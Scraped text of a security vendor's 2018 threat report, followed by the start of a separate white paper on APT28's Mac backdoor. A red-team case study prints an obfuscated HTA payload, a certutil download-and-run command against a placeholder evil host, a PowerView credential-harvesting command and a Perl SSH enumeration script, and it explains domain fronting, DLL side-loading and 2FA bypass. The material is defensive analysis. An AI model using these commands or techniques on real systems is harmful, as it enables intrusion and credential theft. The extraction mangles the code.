techniques including forcing the malware to wait or sleep a specified period of time before executing (Fig. 15), checking for mouse movement or clicks, or checking that a minimum number of processes are present for the payload to be executed. Combined with Demiguise, the final payload file has little to detect (Fig. 16). Figure 16. The final Demiguise payload. html body script function zPaLZROx(r,o)for(var t,e[],n0,a,f0f256f)e[f]ffor(f0f256f)n (ne[f]r.charCodeAt(fr.length))256,te[f],e[f]e[n],e[n]tf0,n0for(var h0ho. lengthh)n(ne[f(f1)256])256,te[f],e[f]e[n],e[n]t,aString.fromCharCode(o.charCodeAt (h)e[(e[f]e[n])256])return a var HYvtwtnj function()return 1.2.3.4 var ZRETMvTj BFcTWpEviGQFt7jTLl9yU/D3W1gubuKV2JlsaadzqV4ClduGq1AkiMQYhG68KLfSeQ6XvRpchps 2nNOsWyRnyhM2iLYvhSwa9kLUKL2bta9SF9fZA sTIOmsdk6xKH7a79WCHYs3N44IWrEj4/eA7HfvSzu6MOpbJOyrCy25J639PSF1mdA2eLHXCElEveIhZBWLhe55ffz/ 9m9oHLoniv8p7exo5AYFpSsxaMHFqpdUQ 9jf6zyX72O/4D9tTj45qMW6xkM9sYvTb3Tgp5oig26vZTaHqIK2lx0gkA1nwHACbg5mZZ9KRgFMuYsYZL var zCfYcHmx zPaLZROx(HYvtwtnj(),atob(ekgfSg)) setTimeout(var WwhLHkAK new zCfYcHmx([zPaLZROx(HYvtwtnj(), atob(ZRETMvTj))])) var fONcNXjJ zPaLZROx(HYvtwtnj(),atob(EEIFRpsrlSsH/rSYPVB0W6j8dnMbJeeVxokhIINO/ qcxAlRwVeJOuDU3TAW12rPkEaM6ee88IANWm1wQ5kLLgXYdnGaP71DvNLRWE8G6KIPPFAANfFkPdrP7OQKSfHncsv OLDosxcqdKDfQu8qiC/U3gXHqRJpkkbOpBmL1Jd/zJ3AniIN5fK7SEAAWqaPHzN4aJha64/ DjtMi0tnH7gGj8ai97dkEEdah3uBfHe9bUVVwfvO8BLWy9pP5vHjooeCMEOtwIpQJozzwF11grTU18rliFFPeLTk9u Q4A9XhDBin7wFEf4O06TNjfpZ0CkM37fETAfvTDnTPT7RC4vAtnAdC268y3bEQCvox/vZSzKScPEjVVw4MFNAAJkee HdKjH54zouxo7GrzHDmjTFU5YoATeLltJ9216tQTLF0id6q8)) setTimeout(fONcNXjJ(WwhLHkAK, zPaLZROx(HYvtwtnj(), atob(SEUJRJcmGoBorc)))) /script /body /html Figure 15. A delayed payload execution command. roottestbox:/git/demiguise./demiguise.py -k 1.2.3.4 -c timeout 12 certutil -urlcache -split -f https//myevil.domain/payload payload.exe payload.exe -o payload.hta -p Outloock. Application [] Generating with key 1.2.3.4 [] Will execute: timeout 12 certutil -urlcache -split -f https//myev il.domain/payload payload.exe [] HTA file written to: payload.html roottestbox:/git/demiguise 30 SPECIAL REPORT M-TRENDS 2018 31SPECIAL REPORT M-TRENDS 2018 www.badperson.com Fronted Domain www.innocus.fronted. domain.com CDN frontal server, which acts as a proxy/gateway DNS request for www.innocus.fronted.domain.com Victim TLS initiated with SNI set to www.innocus.fronted.domain.com HTTP Header with host of www.badperson.com 1 2 3 The SOC was unable to identify the CnC server using network traffic analysis due to the use of a covert CnC communication known as domain fronting. This attack technique has been leveraged by Russian nation-state actors such as APT29. Originally developed as a technique to avoid censorship-based blocking of Internet traffic, domain fronting allows an attacker to abuse HTTPS connections to hide CnC activity in network traffic so that it is indistinguishable from legitimate requests for popular websites. The true destination of the CnC activity is obscured through the content delivery networks (CDNs). This technique leverages the HTTP Host header used in many shared hosting environments to specify the target for a specified request. This allowed Mandiants red team to hide its CnC traffic in what appeared to be legitimate requests for sites hosted in the CDN. The red team used a configuration (Fig. 17) derived by following these steps: 1. Create a CDN instance in the same shared hosting environment and configure this instance to forward traffic to the red teams malicious CnC server. 2. During CnC communications, establish an SSL/TLS connection to a well-known site that uses the same CDN. There are publicly available lists of domains that can be used as an impersonated domain for most major CDNs. Figure 17. Preferred CnC setup. 3. Set the Host header on subsequent HTTPS CnC requests to point to the CDN instance. This will cause the CDN to direct all requests to the actual domain rather than the impersonated domain used for the initial SSL/TLS connection. Domain fronting gives an attacker several advantages: Renders detection of CnC traffic using known IP addresses or domain names ineffective. Makes anomaly detection ineffective because the traffic is indistinguishable from other traffic destined for large CDNs. Makes detection based on known bad or anomalous SSL/TLS certificates ineffective because the domain name and SSL/TLS certificate belong to a legitimate site in the CDN. Creates challenges to remediation since blocking CnC traffic could result in legitimate domain names or IP addresses being blocked. Prevents SSL/TLS decryption techniques from being used by taking advantage of certificate pinning for SSL/ TLS certificates. 32 SPECIAL REPORT M-TRENDS 2018 33SPECIAL REPORT M-TRENDS 2018 The red team persisted on the initial three compromised systems using a Windows Management Instrumentation (WMI) event subscriber. The event subscription consisted of an event filter that acted as a trigger and an event consumer that executed the payload, in this case Symantecs signed symerr.exe. The symerr.exe executable loads a DLL named cclib.dll from its current working directory, so Mandiant leveraged this functionality to load a malicious DLL (Fig. 18 and 19). C:\Program Files\Norton Internet Security\Engine\22.9.0.68\symerr.exe cclib.dll Figure 18. Persistence using symerr.exe. Figure 19. Properties of symerr.exe. Once a persistence mechanism was deployed to a few systems, the red team moved quickly to escalate privileges and move laterally before the initial systems and communications to the compromised network were lost. The red team looked for opportunities to escalate privileges in the domain using various techniques. One avenue that proved useful in this assessment was a misconfigured userPassword attribute in Active Directory. Depending on the Active Directory configuration, this attribute can be treated as either of the following: An ordinary Unicode attribute, which can be written and read as any other Unicode attribute in directory. A shortcut to userPassword in directory, which will allow password change operation to be performed over LDAP. 32 SPECIAL REPORT M-TRENDS 2018 33SPECIAL REPORT M-TRENDS 2018 Figure 21. Example userPassword attribute with stored Unicode password. get-netuser -Domain REDACTEDDOMAIN -Filter userpassword select -expandproperty userpassword [char][int]_ write-host -nonewline write-host Figure 20. PowerView function to grab userPassword field and decode it. 3 Available at https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. PowerView3 has a Get-NetUser function that assists with automating the process of looking up this attribute in Active Directory. The red team used the command (Fig. 20) to harvest credentials for several service accounts on the Active Directory domain. Plaintext passwords are stored in the userPassword attribute in Unicode format (Fig. 21). [...] samaccountname : IN usncreated : 6 displayname : IN description : DO NOT DISABLE - PeopleSoft FIN account for Ker beros auth. Please contact FT HR IT userpassword : 112, 115, 57, 49... pwdlastset : 11/18/2014 12:37:22 PM objectclass : top, person, organizationalPerson, user useraccountcontrol : 66048 lastknownparent : OUServer Accounts Disabled, DCprod, DSad, DSme ,DC ,DCcom [...] 34 SPECIAL REPORT M-TRENDS 2018 35SPECIAL REPORT M-TRENDS 2018 Completing the Mission At this this point the red team had domain administrator privileges, but the target database server storing PII was protected by jump servers that required two-factor authentication (2FA). The easiest way to bypass 2FA is not to attack the solution itself, but to leverage its capabilities and a lack of adherence to security best practices to obtain the second factor for some number of users. Soft tokens are easily distributed to users, but they create additional risk when stored on local computers and network shares. Unfortunately, this is often the case with users and IT administrators. Soft tokens are often not secured with a password, or a default password is stored with the soft token that allows an attacker to import the soft token. Once an attacker has imported a soft token, the process of identifying the workstation belonging to the user and keylogging the user to obtain their PIN is straightforward. During the assessment, Mandiants red team identified 955 soft token files as having the stdtid extension, which is the default for RSA soft token files. With RSA soft tokens, otf files containing email templates with a default import password were also found (Fig. 22). The red team used stoken5 to brute force all the soft token files to see which soft tokens could be imported with the default password. In this case, the default password worked for more than 500 soft tokens, including jump server and database administrators. 4 Available at https://github.com/Mr-Un1k0d3r/PowerLessShell. 5 Available at https://github.com/cernekee/stoken. With domain credentials, the red team was able to move laterally to additional systems in the environment. At this stage, the red team encountered a significant number of servers using Device Guard with constrained language mode enabled and application whitelisting. There are several ways to bypass Device Guard and application whitelisting, one of which is the built-in Microsoft signed executable MSBuild.exe. Using signed executables allowed Mandiant to bypass application whitelisting by executing payloads in the context of a Microsoft signed process. Using the open source script PowerLessShell,4 Mandiants red team executed PowerShell scripts and payloads without launching PowerShell.exe directly. With this tool, Mandiant generated a csproj file containing the payload and copied it to a new system. Mandiant could then use WMI commands to remotely execute MSBuild, which, in turn, executed the malicious csproj payload. Mandiant used credentials from the userPassword field to access systems containing domain administrator sessions and used Mimikatz to read LSASS memory and obtain clear text credentials for a domain administrator account. A jump server is a special-purpose computer that is hardened against attack and provides remote access to systems in a different network security zone. 34 SPECIAL REPORT M-TRENDS 2018 35SPECIAL REPORT M-TRENDS 2018 Figure 22. Soft token import template. 36 SPECIAL REPORT M-TRENDS 2018 37SPECIAL REPORT M-TRENDS 2018 With user credentials and a token code, the red team was only missing the corresponding PIN. The red team obtained the RSA PIN codes for the jump server by installing a keystroke logger on the workstations of administrators and database administrators, as is shown in Fig. 23. Figure 23. Keylog showing RSA PIN. ------------------------------- RSA SecurID : Log In - Windows Internet Explorer - ------------------------------- [TAB] ------------------------------- 00004225 - RSA SecurID Token - ------------------------------- 1 3 ------------------------------- RSA SecurID : Log In - Windows Internet Explorer - ------------------------------- [PASTE]583585887 36 SPECIAL REPORT M-TRENDS 2018 37SPECIAL REPORT M-TRENDS 2018 Figure 24. Perl script to enumerate databases at scale. Becoming Better Attackers for Better Preparedness Mandiants red team is constantly learning from attackers not only to perform successful assessments without detection, but also to help our detection teams keep pace with the attackers. When new techniques are released, our red team will immediately take that technique, try to weaponize it or make it better, and work with our detection team to help them improve detection for that technique. After obtaining all of the components to authenticate to the jump server, the red team authenticated to the jump server, which contained a route to all database servers hosted in the network segment hosting PII. Once on the jump server, the red team identified 210 hosts in the SSH known_hosts file. This provided SSH routes to 210 database servers.6 A script (Fig. 24) was used to connect severs and identify databases having names that would indicate they may contain PII. More than a million PII records were identified in the databases. 6 SSH clients store host keys for any hosts they have ever connected to. These stored host keys are called known host keys, and the collection is often called known hosts. - https://www.ssh.com/ssh/host-key. /usr/bin/perl use strict use warnings open my f, ARGV[0]) or die while (f) chomp print Starting _\n echo Starting _\n /tmp/out.txt ssh -o ConnectTimeout5 -o BatchModeyes _ . cracfa 21 /tmp/out.txt close (f) 38 SPECIAL REPORT M-TRENDS 2018 39SPECIAL REPORT M-TRENDS 2018 CYBER SECURITY SKILLS GAP The Invisible Risk In the ongoing battle to secure organizations from malicious actors that commit crimes through methods such as theft, destruction or data manipulation, frontline defenders are a scarce resource. As the demand for skilled personnel capable of meeting the challenges posed by these threat actors continues to rise, the supply simply cannot keep pace. 38 SPECIAL REPORT M-TRENDS 2018 39SPECIAL REPORT M-TRENDS 2018 A growing deficit in information security personnel is expected to dramatically exacerbate the current considerable skills gap over the next five years. This assertion is supported by industry research data from the National Initiative for Cybersecurity Education (NICE) and insights gained from Mandiant engagements throughout 2017. In 2017, NICE reported that 285,000 cyber security roles went unfilled in the U.S. alone. While the scarcity of experienced professionals can be felt across the entire information security spectrum, trend analysis performed over the findings of cyber defense center (CDC) engagements throughout the year indicates that this shortage appears highly prevalent in organizations looking to develop or mature their incident response capabilities. The specialized skillset required to respond, investigate and remediate cyber threats has become highly valued and the industry is struggling to keep pace with demand. The Widening Gap In many ways, the skills gap is tied to the quantitative nature of these roles. While a CDC breaks free from the traditional, linear SOC response process by unifying multiple security and intelligence disciplines into a single strategic incident response center for the organization, personnel requirements at the most basic level are comparable. Though the numbers tend to fluctuate based on different industries, organization size and other factors, the minimum number of personnel for an around-the- clock CDC is approximately 9 to 12 full-time employees. A traditional CDC structure breaks this baseline headcount into incident response expertise levels, with a larger, less experienced subset of the staff focused on initial detection and triage and more seasoned personnel performing investigation and remediation. As a CDC matures, its need for a larger talent pool grows. To maximize the cost of effectively handling incident response internally, the CDC should be vigilant in increasing the scope of its detection and response capabilities throughout the organization to achieve its strategic objectives. The effort to mature and develop a more proactive security posture inevitably leads to increased personnel requirements. The increased focus on identifying and remediating risks before they cause harm often necessitates investment in specialized skillsets, including malware analysis, threat hunting, analytics, automation and threat intelligence. The more effective a SOC becomes, the greater its scope becomes and the more responsibility it will inevitability take on. 40 SPECIAL REPORT M-TRENDS 2018 41SPECIAL REPORT M-TRENDS 2018 Limitations in Visibility and Detection The ability to detect events within the organization that could be indicative of a greater incident is central to an effective incident response capability. The single most pervasive trend in the investigations and assessments that Mandiant conducted over the prior year was a gap in visibility and detection. During the initial compromise phase, key indicators of malicious activity are often overlooked or mischaracterized as benign due to an implicit trust that malicious activity will be flagged by detection mechanisms. However, detection systems often miss indicators of malicious activity due to poor configuration by inadequately trained staff. Another common trend is the lack of appropriate event investigation because the security analysts lack the experience to identify a legitimate threat from a constant stream of potential indicators. Mandiant reviewed the incidents they responded to in 2017, to see which phases of the attack lifecycle provided the most evidence to investigate (Fig. 25). Figure 25. Investigative evidence provided during attack lifecycle phases. 0 Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaisance Lateral Movement Maintain Persistence Complete Mission 5 10 15 20 Percentage of evidence provided P ha se s o f at ta ck li fe c yc le 22 20 19 14 10 8 7 22 40 SPECIAL REPORT M-TRENDS 2018 41SPECIAL REPORT M-TRENDS 2018 The data (Fig. 25) shows a definite gap in detections during the initial compromise phase of the attack lifecycle, which is one of the most critical moments when an organization should be able to detect and prevent threats. This is often due to a combination of an overabundance of alerts that can overwhelm personnel and distract them from efforts to identify and respond to real threats, and a lack of in-house skills to quickly identify the events that are noteworthy to investigate. While some phases of the attack lifecycle, such as internal reconnaisance and privilege escalation, have prevalent indicators that can be easily identified or even automated, once an attacker has breached the walls, detection of their activities becomes substantially more difficult due to ever evolving methods attackers have at their disposal. Events at these phases require a greater level of experience and skill to identify and investigate. Many organizations believe the personnel skillset gaps can be mitigated or offset by using tools to automate heavy lifting of some tasks. However, automation can provide a false sense of security if the organization relies entirely on these tools without providing the human element to ensure they are effectively configured and to catch any outliers the tools may not address. As attacks become more sophisticated, there is increasing value in having proactive threat hunting measures and skills in place to address potential risks before they impact the organization. Visibility and detection are multi-tiered capabilities that rely on a chain of multiple roles. If even one link is left to a member of the SOC who does not possess the skillset required to be effective in the role, the entire chain is compromised. Lack of Incident Response Expertise Another trend directly attributed to the widening skills gap is a lack of expertise and experience in malware analysis, threat intelligence and forensics investigations, as well as handling major incidents. This is particularly common in organizations with a young, burgeoning SOC. When incidents arise within an organization, there are times when the investigation challenge will be outside of the scope of experience of the personnel responsible for mitigating the risk. As niche specializations, these skills represent some of the rarest and most sought after on the market. This is a primary reason many organizations outsource functions to firms that specialize in providing these roles, whether through a managed solution for long-term assistance or retainers with incident response firms to assist as the need arises. Addressing the Skills Gap While the shortage of skilled cyber security professionals is not diminishing, organizations can still mitigate their risk of being attacked by investing in enhancing their existing capabilities and outsourcing specialized roles. Enhancement efforts can include process refinement to maximize the efficiency of internal procedures, training for existing personnel to increase and expand their skills, proactive testing of critical incident response processes through tabletop exercises, automation of overhead processes such as ticket creation that typically require time and effort that could be spent on investigations and identifying new measures to address any gaps in the organizations current capabilities. 42 SPECIAL REPORT M-TRENDS 2018 43SPECIAL REPORT M-TRENDS 2018 ENDURING TRENDS in Security Fundamentals Mandiants strategic security services measure the maturity of an organizations cyber security program across critical security domains. The critical security domains used to gain unauthorized access to organizations are observed annually by Mandiant during our incident response investigations. Common attacker TTPs were observed during incident response investigations and further correlated by FireEye Threat Intelligence to correspond to areas of weakness frequently seen by our strategic services. Six information security domains were observed repeatedly: We also observed that while organizations are increasingly recognizing the importance of operationalizing cyber threat intelligence (CTI), there are weaknesses in implementation. The following examples are based on engagements delivered in 2017, where we saw attackers exploit weaknesses in an organizations detection and prevention controls. Security risk management Identity and access management Data protection Incident response Network, cloud and data center protection Host and endpoint protection 42 SPECIAL REPORT M-TRENDS 2018 43SPECIAL REPORT M-TRENDS 2018 We have observed that many organizations do not have formalized threat and vulnerability management functions with the authority and necessary visibility into all network enclaves, assets and applications, and patches and configuration changes are not applied in a consistent and timely manner across the enterprise. Patch management and configuration infrastructure often only covers a portion of the assets the organizations environments, leaving groups of assets to be independently managed, resulting in inconsistencies in patching and configuration hardening. Through our incident response and cyber threat intelligence experience, we see attackers leveraging unpatched vulnerabilities. These observations reinforce our belief in the importance of having mature threat and vulnerability management practices. In one case, an unnamed threat actor exploited an unpatched Apache Struts framework vulnerability of an organizations externally facing application server. The attacker then installed distributed denial of service (DDoS) malware on the server to create a platform to target other organizations. Another example we observed APT35 (The Newscaster Team) compromising at least three U.S.-based companies, and performing reconnaissance at two other U.S. organizations and one non-U.S. company. At least one organization was likely compromised due to the attacker exploiting unpatched vulnerabilities in the Ektron CMS platform, which allowed them to upload web shell backdoors. The attacker then leveraged publicly available malware and legitimate Windows tools to dump passwords and exfiltrate data. Security Risk Management Identity and Access Management We continue to observe that authentication and authorization controls are often not hardened against abuse from attackers. Two of the most common issues are a lack of multi-factor authentication (MFA) enforcement and securing privileged credentials. Many organizations do not have MFA implemented, or they have a true MFA solution that provides the second factor out-of-band and not generated within the users device. Instead, they rely on device certificate-based authentication, which is easier to bypass. Additionally, organizations have not hardened their Active Directory environments, such as by reducing the exposure of Windows credentials in memory, and they have not adequately secured privileged credentials from misuse. An example of an attacker exploiting single-factor authentication is APT28 (Tsar Team) in their targeting of hotel Wi-Fi networks. The group has used noteworthy techniques, including sniffing passwords from the guest Wi-Fi network traffic, poisoning the NetBIOS Name Service, and spreading laterally using the ETERNALBLUE exploit. One incident involved a user being compromised after connecting to a public Wi-Fi network. Twelve hours after the victim initially connected to the publicly available Wi-Fi network, APT28 logged into the machine with stolen credentials. After successfully accessing the machine, the attacker deployed tools on the machine, spread laterally through the victims network, and accessed the victims OWA account. Another example of an attacker leveraging weakness in authentication and authorization controls is APT10 (Menupass Team), which typically uses credential harvesters to acquire privileged credentials. We observed them executing tools such as Mimikatz and SysInternals ProcDump to harvest user credentials in multiple intrusions where FireEye responded. These were invoked using different methods, including local execution, DLL search- order hijacking, remote execution and output through PsExec/WMIExec, and automated collection through custom batch scripts. 44 SPECIAL REPORT M-TRENDS 2018 45SPECIAL REPORT M-TRENDS 2018 Many organizations we work with do not have well-defined data classification policies and protection requirements for sensitive data types. Compounding this, these same organizations often do not know all of the types of data they possess and where they are located within the enterprise in structured and unstructured locations. This information is necessary to properly establish appropriate detection and protection technologies and processes in accordance with the data sensitivity level. The upcoming General Data Protection Regulation (GDPR) requirements emphasize the importance of appropriate data handling practices and protections more than ever, and provide the mechanism to penalize organizations that are not taking the proper actions to protect sensitive data. In multiple cases, Mandiant observed attackers leveraging minimal controls of sensitive data within the victims environment. Sensitive intellectual property and PII were not secured with additional controls such as network segmentation, MFA, encryption and restrictive Internet egress controls. In these cases, the organizations applied few minimum internal controls beyond basic single-factor user authentication to applications, code repositories and network shares. Once the attackers were on the internal network with the proper credentials, they completed their mission of accessing the targeted information, staging the data and exfiltrating gigabytes of sensitive information. Data Protection We continue to see organizations struggle with consolidated visibility across all enclaves of their environments. Many organizations focus their monitoring on regulated portions of their networks (e.g., PCI, SOX) and have not expanded logging and monitoring efforts to other less-scrutinized portions. Incomplete and decentralized logging of investigation-relevant sources hinder the detection and response capabilities of the organizations information security team. In many Mandiant incident response engagements, we observed that attacker activity went unmitigated by the organizations information security monitoring team and capability. This is due to many factors including lack of authority, lack of visibility and a lack of instrumentation. Mandiant often observes that information security is not a dedicated function and does not have authority across the organization, but only over a portion of assets. Specific key instrumentation components we see missing include a centralized log aggregation capability, host and endpoint logging configurations (e.g., PowerShell, Sysmon, OS and Application Audit logs) and network level visibility for lateral movement. Incident Response 44 SPECIAL REPORT M-TRENDS 2018 45SPECIAL REPORT M-TRENDS 2018 Network, Cloud, and Data Center Protection We commonly find deficiencies in network segmentation and secure configuration of cloud services. When customers do not have network segmentation properly implemented, detection and remediation are much more difficult, and the resulting impact of the breach is significantly higher. Neglecting to secure cloud services, such as the Office 365 email platform, results in attackers gaining access to sensitive emails and data and a limited ability for organizations to detect and investigate a breach. Mandiant observed multiple cases of attackers targeting an organizations Office 365 instances to gain access to sensitive messages. Examples of techniques observed include malicious mailbox forwarding rules and abuse of the Office 365 eDiscovery functionality. We have seen attackers create the malicious mailbox forwarding rules by doing the following: 1 Compromised several accounts through password spraying the organizations external Active Directory Federation Services (AD FS) proxy. 2 Authenticated to the compromised accounts and created a mailbox forwarding rule to forward all messages to a malicious mail address under their control. In other instances, attackers stole Exchange service credentials during on-premises network intrusions, then accessed the eDiscovery functionality of Office 365 and ran searches through the platform using keywords of interest to the attackers. 3 Downloaded the resulting messages from the queries. 46 SPECIAL REPORT M-TRENDS 2018 47SPECIAL REPORT M-TRENDS 2018 Common areas of weakness in endpoint protection that we observed in organizations are advanced malware protections, investigation capabilities and application whitelisting. Many organizations rely on legacy signature-based protections on the endpoint. Coupled with that is the inability of information security professionals to conduct deep forensic analyses of malicious activity across the server and end user computing environments. Application whitelisting is another important detection and prevention control we see lacking in the organizations we assess. Without application whitelisting, end users and attackers have the ability to install arbitrary software in an uncontrolled manner. These weaknesses are commonly exploited by attackers in the initial compromise and establish foothold stages of the attacker lifecycle in the incidents we investigate. Phishing continues to be a primary preferred method of compromising organizations because of its simplicity and effectiveness. However, determined attackers will pivot to other methods of deploying malware. As an example, in May 2017, FireEye Threat Intelligence observed an uptick in activity related to an ongoing campaign distributing Emotet malware. A wide variety of lures and distribution methods were leveraged in this high-volume campaign, including malicious Word document attachments, links to Word documents, and links to JavaScript files to propagate Emotet malware. The actor(s) behind this campaign leveraged more than 300 compromised websites to host malicious Word documents and Emotet payloads. Advanced malware protections at the email and endpoint levels provide a level of mitigation to these types of attacks however, attacker tactics are continuously changing. Logs and detections from these controls should be regularly monitored and investigated for signs of further intrusion into the target organizations environment. Endpoint hardening such as application whitelisting and mitigations provided by the OS vendor should be applied across the organization. Host and Endpoint Protection 46 SPECIAL REPORT M-TRENDS 2018 47SPECIAL REPORT M-TRENDS 2018 Improvements Throughout 2017, Mandiant also observed improvements in several other areas. These include increased executive support and awareness of cyber security with GDPR driving improved data protection practices, as well as the need for incident response retainer agreements and regular tabletop exercises. We observed increased awareness of the need for cyber security among business leaders, senior executives and board members. As cyber attacks become more frequent and sophisticated, organizations of all sizes across every industry must make cyber risk management a priority. Organizations that fall under the GDPR regulation requirements are placing greater importance on improving their handling of data protection initiatives. As a result of these initiatives for compliance, PII is beginning to receive more attention and protections in the form of segregation, tokenization/masking, encryption and more aggressive data purging policies. However, many organizations are still in the beginning stages of preparing for the regulation. More organizations are recognizing the need for incident response retainer agreements to increase their ability to quickly investigate cyber incidents and intrusions. This is a result of a combination of an increasing number of cyber insurance providers offering lower premiums to organizations that show a proactive approach to cyber security, and increased awareness that having an agreement in place can greatly reduce the time to respond by outside investigators. Mandiant observed that organizations are increasingly using tabletop exercises for technical information security and executive leadership teams to evaluate the tools, processes and expertise their organizations use to respond to cyber attacks. Reducing Risk Organizations need to continuously increase the maturity of their information security program and reduce their risk of compromise through an approach incorporating likely real-world threats and attacker TTPs. Information security leadership should be regularly communicating this message to executives using a risk-based lens. As cyber attacks become more frequent and sophisticated, executives, business line leaders and boards of directors need to take an active role in cyber risk management and data breach preparedness. By doing this, investments and mitigations can be placed in the areas of highest risk to the organization. 48 SPECIAL REPORT M-TRENDS 2018 49SPECIAL REPORT M-TRENDS 201848 SPECIAL REPORT M-TRENDS 2018 PREDICTIONS FOR 2018 48 SPECIAL REPORT M-TRENDS 2018 49SPECIAL REPORT M-TRENDS 2018 APT10 Evolving Chinese Cyber Espionage FireEye assesses with high confidence the Chinese government has generally complied with the terms of the September 2015 Obama-Xi Agreement. Under this agreement, China agreed not to use state-sponsored hackers to steal the intellectual property of U.S. companies. FireEyes research indicates Chinese cyber operations targeting the intellectual property of U.S. companies declined significantly around the signing of the Obama-Xi Agreement. In 2013 FireEye identified a peak of 72 concurrent operations were carried out by Chinese state-sponsored attackers. In the months leading up to the signing of the Obama-Xi Agreement fewer than 30 operations were observed, and at the time of publication, FireEye is tracking six or fewer. The Trump Administration renewed the deal, which serves as evidence that China is generally viewed as complying with the agreement. While FireEye assesses that the Obama-Xi Agreement has led to a significant decrease in Chinese government- controlled cyber operations specifically stealing intellectual property, this does not mean China has ceased cyberoperations against U.S. companies. In fact, FireEye has seen an increase in the number of attacks against U.S. companies that have resulted in the theft of business information such as bid prices, contracts, and information related to mergers and acquisitions. FireEye has also seen a surge in cyber espionage campaigns targeting business-to-business services such as cloud providers, telecommunications companies and law firms. Attacking service providers could allow Beijing to collect intelligence on a broad group of targets in a manner that is less likely to be detected. Chinese threat group APT10 targets IT service providers worldwide, including accessing victim networks through U.S.-based managed security service providers (MSSP). APT10 spear phishing emails have been relatively unsophisticated, leveraging link (.lnk) files within archives, files with two extensions, and in some cases, simply identically named decoy documents and malicious launchers within the same archive. We further assess China may be willing to violate the Obama-Xi Agreement on strategic imperatives when diplomatic consequences can be minimized. FireEye has observed groups potentially preparing operations against revolutionary technologies, such as artificial intelligence and advanced batteries. China may be willing to risk upsetting the status quo to obtain the economic and military advances these technologies could provide. Targeting the Software Supply Chain Malware authors have increasingly leveraged the trust between users and software providers. Users do not expect malicious code to be introduced by updates from trusted software vendors. In supply chain attacks, cyber threat groups target the build servers, update servers and other parts of the development or release environment. The hackers then inject malware into software releases, infecting users through official software distribution channels. This attack method allows attackers to target broad set of potential victims while obfuscating their intended target(s). In 2017, FireEye observed at least five cases where advanced threat actors compromised software companies to target users of the software. FireEye assesses that advanced attackers will likely continue to leverage the software supply chain to conduct cyber espionage. Chinese cyber espionage operators modified the software packages of a legitimate vendor, NetSarang Computer, allowing access to a broad range of industries and institutions that include financial services, transportation, telecommunications, energy, media, academic, retail, and gaming. Likewise, in June 2017, suspected Russian actors deployed NotPetya ransomware to various European targets by compromising Ukrainian software vendor M.E.Doc. 50 SPECIAL REPORT M-TRENDS 2018 51SPECIAL REPORT M-TRENDS 201850 SPECIAL REPORT M-TRENDS 2018 Some of the newest trends we observed in 2017 include increased activity and sophistication from Iran, and an increase in the retargeting of previously compromised organizations. However, these are simply evolutions of cyber security constants: threat actors from various nations with diverse motivations will continue to attack, and defenders will be tasked with stopping those threats and doing everything they can and that is required to protect their customers. CONCLUSION 50 SPECIAL REPORT M-TRENDS 2018 51SPECIAL REPORT M-TRENDS 2018 51SPECIAL REPORT M-TRENDS 2018 One of the highlights from our data is the global median time for internal detection dropping by over three weeks, from 80 days in 2016 to 57.5 days in 2017. Although the global median time from compromise to discovery has risen by two days, we see that organizations are getting better at discovering compromises in-house with their own internal teams. Of course, there is still work to be done. The cyber security skills gap that has existed for some time now appears to be widening, bringing with it a rising demand for skilled personnel capable of meeting the challenges posed by todays highly skilled threat actors. For organizations looking to improve their own security teams, Red Team Assessments can help. Mandiants red team engagements involve leveraging sophisticated attacker TTPs to breach organizations as a learning experience. As a result, defenders can gain valuable insight into what they should be doing to stay ahead of todays most prominent threats. While its important to focus on new and evolving threats, we also urge security professionals to never neglect best practices such as network segmentation, data segregation and protecting their most sensitive information. It is also just as important to be ready and able to respond to an incident, since we all know it is a matter of when, not if organizations will experience an attack. We encourage organizations to hold incident response tabletop exercises to simulate typical intrusion scenarios. These exercises help expose participants notably executives, legal personnel and other staff to incident response processes and concepts. Additionally, organizations may want to consider partnering with professionals that specialize in defending against threats specific to the business. Defenders have to get it right every single time, while threat actors only need to get it right once. By sharing information and solutions through M-Trends 2018 with the security community, we continue to contribute to the improvement of our collective security awareness, knowledge and capabilities. FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 408.321.6300/877.FIREEYE (347.3393) infoFireEye.com To learn more about FireEye, visit: www. FireEye.com About FireEye, Inc. FireEye is the intelligence-led security company. Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence and world-renowned Mandiant consulting. With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent and respond to cyber attacks. FireEye has over 6,600 customers across 67 countries, including more than 45 percent of the Forbes Global 2000. 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.MTRENDS.US-EN-042018 Paper Dissecting the APT28 Mac OS X Payload [2] White Paper Authors: Tiberius Axinte, Technical Lead, Antimalware Lab Bogdan Botezatu - senior e-threat analyst [3] White Paper A post-mortem analysis of Trojan. MAC.APT28 - XAgent For the past decade, Windows users have been the main targets of consumer, for-profit cybercrime. Even now, malware on platforms such as Mac OS X and Linux is extremely scarce compared with the Windows threat landscape. Enter the upper tiers of malware creation: advanced persistent threats. These extremely complex, highly customized files are after targets, not platforms. Attacks such as those persistently carried out by APT28 target multiple individuals in multiple organizations who run a wide range of hardware and software configurations. Since the groups emergence in 2007, Bitdefender has become familiar with the backdoors used to compromise Windows and Linux targets, such as Coreshell, Jhuhugit and Azzy for the former OS or Fysbis for the latter. This year we have been able to finally isolate the Mac OS X counterpart - the XAgent modular backdoor. This whitepaper describes our journey in dissecting the backdoor and documenting it piece by piece. [ 4] White Paper A. Context In mid-February this year, we discovered a new Mac sample that appeared to be the Mac version of the APT28 XAgent component. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. Until now this component was only available for Windows, Linux and iOS operating systems. Though you might expect this Mac version of XAgent to be the iOS version compiled to work on Mac, it is a different creation, with a much more advanced feature set. The Mac version shares multiple similarities with those designed for other operating systems. However, the Mac agent brings more spying capabilities such as stealing iOS backups from Mac computers, which contain messages, contacts, voicemail, call history, notes, calendar and Safari data. B. Attack Flow Last year on 26 of September, PaloAlto identified a new Mac OS X Trojan associated with the APT28/Sofacy group that received the Komplex name. The Komplex Trojan is a binder with multiple parts: a dropper, a payload and a decoy pdf file. 1.
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The Komplex Binder: Is the main executable of roskosmos_2015-2025.app.
